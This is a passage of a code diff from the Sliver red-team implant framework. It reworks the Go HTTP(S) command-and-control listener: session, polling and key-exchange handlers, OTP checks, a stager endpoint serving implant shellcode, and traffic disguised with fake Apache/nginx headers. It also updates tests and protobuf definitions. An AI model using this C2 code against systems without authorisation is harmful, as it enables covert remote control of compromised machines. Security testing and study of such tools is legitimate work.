in := new(sliverpb.DllHijackReq)
in := new(clientpb.DllHijackReq)
if err := dec(in); err != nil {
return nil, err
}
@@ -3233,7 +3233,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
}
return interceptor(ctx, in, info, handler)
}
File diff suppressed because it is too large. Load diff
+9 -16
View File
@@ -47,6 +47,7 @@ message Register {
uint32 ReconnectInterval = 13;
string ProxyURL = 14;
uint32 PollInterval = 15;
string ConfigID = 16;
}
// Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -331,6 +332,8 @@ message ExecuteReq {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
string Stdout = 4;
string Stderr = 5;
commonpb.Request Request = 9;
}
@@ -339,13 +342,17 @@ message ExecuteTokenReq {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
string Stdout = 4;
string Stderr = 5;
commonpb.Request Request = 9;
}
message Execute {
string Result = 1;
uint32 Status = 2;
uint32 Status = 1;
string Stdout = 2;
string Stderr = 3;
uint32 Pid = 4;
commonpb.Response Response = 9;
}
@@ -802,20 +809,6 @@ message SSHCommand {
commonpb.Response Response = 9;
}
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
-52
View File
@@ -1,52 +0,0 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/bishopfox/sliver/server/certs"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
if err != nil {
t.Fatal(err)
}
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
return
}
rr := httptest.NewRecorder()
handler := http.HandlerFunc(server.rsaKeyHandler)
handler.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
}
}
File renamed without changes.
+321 -155
View File
@@ -19,6 +19,7 @@ package c2
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/sha256"
@@ -27,19 +28,25 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/pem"
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"mime"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -54,14 +61,26 @@ import (
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrReplayAttack = errors.New("replay attack detected")
)
const (
defaultHTTPTimeout = time.Second * 60
pollTimeout = defaultHTTPTimeout - 5
sessionCookieName = "PHPSESSID"
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultHTTPTimeout = time.Minute * 5
DefaultLongPollTimeout = float32(20)
DefaultLongPollJitter = float32(20)
minPollTimeout = time.Second * 5
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
@@ -126,33 +145,50 @@ type HTTPServerConfig struct {
Cert []byte
Key []byte
ACME bool
MaxRequestLength int
EnforceOTP bool
LongPollTimeout float32
LongPollJitter float32
}
// SliverHTTPC2 - Holds refs to all the C2 objects
type SliverHTTPC2 struct {
HTTPServer *http.Server
Conf *HTTPServerConfig
ServerConf *HTTPServerConfig // Server config (user args)
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
server string
poweredBy string
c2Config *configs.HTTPC2Config // C2 config (from config file)
serverVersion string
}
func (s *SliverHTTPC2) getServerHeader() string {
if s.server == "" {
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
if s.serverVersion == "" {
switch insecureRand.Intn(1) {
case 0:
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return s.server
return s.serverVersion
}
func (s *SliverHTTPC2) getPoweredByHeader() string {
if s.poweredBy == "" {
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
insecureRand.Intn(3), insecureRand.Intn(17))
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
if s.c2Config != nil {
return s.c2Config
}
return s.poweredBy
s.c2Config = configs.GetHTTPC2Config()
return s.c2Config
}
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
@@ -162,7 +198,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
StartPivotListener()
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
server := &SliverHTTPC2{
Conf: conf,
ServerConf: conf,
HTTPSessions: &HTTPSessions{
active: &map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
@@ -171,9 +207,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
server.HTTPServer = &http.Server{
Addr: conf.Addr,
Handler: server.router(),
WriteTimeout: defaultHTTPTimeout,
ReadTimeout: defaultHTTPTimeout,
IdleTimeout: defaultHTTPTimeout,
WriteTimeout: DefaultHTTPTimeout,
ReadTimeout: DefaultHTTPTimeout,
IdleTimeout: DefaultHTTPTimeout,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
}
if conf.ACME {
@@ -195,7 +231,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
defer cancelHTTPS()
server.HTTPServer.Shutdown(ctx)
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown https server")
httpLog.Warn("Failed to shutdown https server")
}
}
} else {
@@ -205,13 +241,11 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
defer cancel()
server.HTTPServer.Shutdown(ctx)
if err := server.HTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown https server")
httpLog.Warn("Failed to shutdown https server")
}
}
}
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
if err == certs.ErrCertDoesNotExist {
httpLog.Infof("Generating C2 server certificate ...")
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
@@ -220,62 +254,86 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
return nil, err
}
}
return server, nil
}
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
if conf.Cert == nil || conf.Key == nil {
var err error
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
if conf.Domain != "" {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
} else {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
}
if err != nil {
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
return nil
}
}
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
if err != nil {
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
return nil
}
return &tls.Config{
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
PreferServerCipherSuites: true,
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
},
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
}
}
func (s *SliverHTTPC2) router() *mux.Router {
router := mux.NewRouter()
c2Config := s.LoadC2Config()
if s.ServerConf.MaxRequestLength < 1024 {
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
}
if s.ServerConf.LongPollTimeout == 0 {
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
s.ServerConf.LongPollJitter = DefaultLongPollJitter
}
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = start
// .php = session
// .js = poll
// .png = stop
// .woff = sliver shellcode
// Key Exchange Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
s.rsaKeyHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Start Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
s.startSessionHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
s.sessionHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Poll Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
s.pollHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Close Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
s.closeHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
s.stagerHander,
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
// Request does not match the C2 profile so we pass it to the static content or 404 handler
if s.Conf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
if s.ServerConf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
} else {
// 404 Handler - Just 404 on every path that doesn't match another handler
@@ -290,19 +348,86 @@ func (s *SliverHTTPC2) router() *mux.Router {
}
// This filters requests that do not have a valid nonce
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
qNonce := req.URL.Query().Get("_")
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
return false // NaN
}
return true
}
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
if s.ServerConf.EnforceOTP {
httpLog.Debug("Checking for valid OTP code ...")
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
return false
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
return false
}
if valid {
return true
}
return false
} else {
httpLog.Debug("OTP enforcement is disabled")
return true // OTP enforcement is disabled
}
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
return false // NaN
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
return false // Not a valid encoder
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return true
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warn("OTP not found in request")
return "", ErrMissingNonce
}
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
@@ -316,34 +441,36 @@ func loggingMiddleware(next http.Handler) http.Handler {
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
resp.Header().Set("Server", s.getServerHeader())
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
switch uri := req.URL.Path; {
case strings.HasSuffix(uri, ".txt"):
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
case strings.HasSuffix(uri, ".css"):
resp.Header().Set("Content-type", "text/css; charset=utf-8")
case strings.HasSuffix(uri, ".php"):
resp.Header().Set("Content-type", "text/html; charset=utf-8")
case strings.HasSuffix(uri, ".js"):
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
case strings.HasSuffix(uri, ".png"):
resp.Header().Set("Content-type", "image/png")
default:
resp.Header().Set("Content-type", "application/octet-stream")
if resp.Header().Get("Content-type") == "" {
contentType := mime.TypeByExtension(req.URL.Path)
if contentType != "" {
resp.Header().Set("Content-type", contentType)
} else {
// We add a few more common mime types that aren't detected by
// the stdlib mime library
switch uri := req.URL.Path; {
case strings.HasSuffix(uri, ".jsp"):
fallthrough
case strings.HasSuffix(uri, ".phtml"):
fallthrough
case strings.HasSuffix(uri, ".php"):
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
default:
resp.Header().Set("Content-type", "application/octet-stream")
}
}
}
next.ServeHTTP(resp, req)
})
}
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
if err != nil {
httpLog.Infof("No website content for %s", req.RequestURI)
resp.WriteHeader(404) // No content for this path
resp.WriteHeader(http.StatusNotFound) // No content for this path
return
}
resp.Header().Set("Content-type", contentType)
@@ -351,17 +478,19 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
}
func default404Handler(resp http.ResponseWriter, req *http.Request) {
resp.WriteHeader(404)
httpLog.Debugf("[404] No match for %s", req.RequestURI)
resp.WriteHeader(http.StatusNotFound)
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
}
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
httpLog.Debug("Public key request")
nonce, _ := getNonceFromURL(req.URL)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
if err != nil {
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
}
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
@@ -371,12 +500,13 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Start http session request")
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
if err != nil {
httpLog.Info("Failed to fetch rsa private key")
resp.WriteHeader(404)
httpLog.Warn("Failed to fetch rsa private key")
resp.WriteHeader(http.StatusNotFound)
return
}
@@ -386,25 +516,29 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(http.StatusNotFound)
return
}
body, _ := ioutil.ReadAll(req.Body)
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
resp.WriteHeader(http.StatusNotFound)
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
if err != nil {
httpLog.Info("RSA decryption failed")
resp.WriteHeader(404)
httpLog.Error("RSA decryption failed")
resp.WriteHeader(http.StatusNotFound)
return
}
sessionInit := &sliverpb.HTTPSessionInit{}
@@ -416,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
ID: core.NextSessionID(),
Transport: "http(s)",
RemoteAddress: getRemoteAddr(req),
Send: make(chan *sliverpb.Envelope, 16),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[uint64]chan *sliverpb.Envelope{},
})
@@ -427,52 +561,31 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
if err != nil {
httpLog.Info("Failed to encrypt session identifier")
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
return
}
http.SetCookie(resp, &http.Cookie{
Domain: s.Conf.Domain,
Name: sessionCookieName,
Domain: s.ServerConf.Domain,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: true,
Secure: false,
HttpOnly: true,
})
resp.Write(encoder.Encode(ciphertext))
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
resp.WriteHeader(http.StatusForbidden)
return
}
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
_, encoder, err := encoders.EncoderFromNonce(nonce)
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
return
}
body, _ := ioutil.ReadAll(req.Body)
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
resp.WriteHeader(404)
return
}
if httpSession.isReplayAttack(data) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(404)
return
}
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
if err != nil {
httpLog.Warnf("GCM decryption failed %v", err)
resp.WriteHeader(404)
httpLog.Warnf("Failed to decode request body: %s", err)
return
}
envelope := &sliverpb.Envelope{}
@@ -488,81 +601,134 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
} else if handler, ok := handlers[envelope.Type]; ok {
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
}
resp.WriteHeader(200)
// TODO: Return random data?
resp.WriteHeader(http.StatusAccepted)
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
httpLog.Warnf("No session with id %#v", httpSession.ID)
resp.WriteHeader(http.StatusForbidden)
return
}
// We already know we have a valid nonce because of the middleware filter
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.Session.Send:
resp.WriteHeader(200)
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
resp.Write(encoder.Encode(data))
case <-time.After(pollTimeout):
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
resp.Write(encoder.Encode(ciphertext))
case <-time.After(s.getPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(201)
resp.Header().Set("Etag", s.randomEtag())
resp.WriteHeader(http.StatusNoContent)
resp.Write([]byte{})
}
}
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(http.StatusNotFound)
return nil, ErrInvalidEncoder
}
body, err := ioutil.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
if err != nil {
httpLog.Warnf("Failed to read request body %s", err)
return nil, err
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Warnf("Failed to decode body %s", err)
resp.WriteHeader(http.StatusNotFound)
return nil, ErrDecodeFailed
}
if httpSession.isReplayAttack(data) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(http.StatusNotFound)
return nil, ErrReplayAttack
}
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
return plaintext, err
}
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
if s.ServerConf.LongPollJitter < 0 {
s.ServerConf.LongPollJitter = 0
}
min := s.ServerConf.LongPollTimeout
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
timeout := min + insecureRand.Float32()*(max-min)
pollTimeout := time.Duration(timeout) * time.Second
if pollTimeout < minPollTimeout {
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
pollTimeout = minPollTimeout
}
return pollTimeout
}
func (s *SliverHTTPC2) randomEtag() string {
buf := make([]byte, 16)
rand.Read(buf)
return hex.EncodeToString(buf[:])
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
resp.WriteHeader(403)
resp.WriteHeader(http.StatusForbidden)
return
}
nonce := []byte(req.URL.Query().Get("nonce"))
if httpSession.isReplayAttack(nonce) {
httpLog.Warn("Replay attack detected")
resp.WriteHeader(404)
return
}
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
_, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Warnf("GCM decryption failed %v", err)
resp.WriteHeader(404)
httpLog.Errorf("Failed to read request body %s", err)
resp.WriteHeader(http.StatusForbidden)
return
}
core.Sessions.Remove(httpSession.Session.ID)
s.HTTPSessions.Remove(httpSession.ID)
resp.WriteHeader(200)
resp.WriteHeader(http.StatusAccepted)
}
// stagerHander - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(200)
resp.WriteHeader(http.StatusOK)
} else {
resp.WriteHeader(404)
resp.WriteHeader(http.StatusNotFound)
}
}
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
if cookie.Name == sessionCookieName {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
return nil
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
}
return nil // No valid cookie names
@@ -596,7 +762,7 @@ func getRemoteAddr(req *http.Request) string {
// input we don't want to trust it.
ip := net.ParseIP(ipAddress)
if ip == nil {
httpLog.Warnf("Failed to parse X-Header as ip address")
httpLog.Warn("Failed to parse X-Header as ip address")
return req.RemoteAddr
}
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
+138
View File
@@ -0,0 +1,138 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
insecureRand "math/rand"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"time"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
EnforceOTP: true,
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
return
}
router := server.router()
// Missing parameters
rr := httptest.NewRecorder()
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusNotFound {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
}
// Invalid OTP code
for i := 0; i < 100; i++ {
rr = httptest.NewRecorder()
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusNotFound {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
}
}
// Valid OTP code
client := implantTransports.SliverHTTPClient{}
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
nonce, _ := implantEncoders.RandomEncoder()
testURL := client.NonceQueryArgument(baseURL, nonce)
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
secret, _ := cryptography.TOTPServerSecret()
code, _ := totp.GenerateCodeCustom(secret, now, opts)
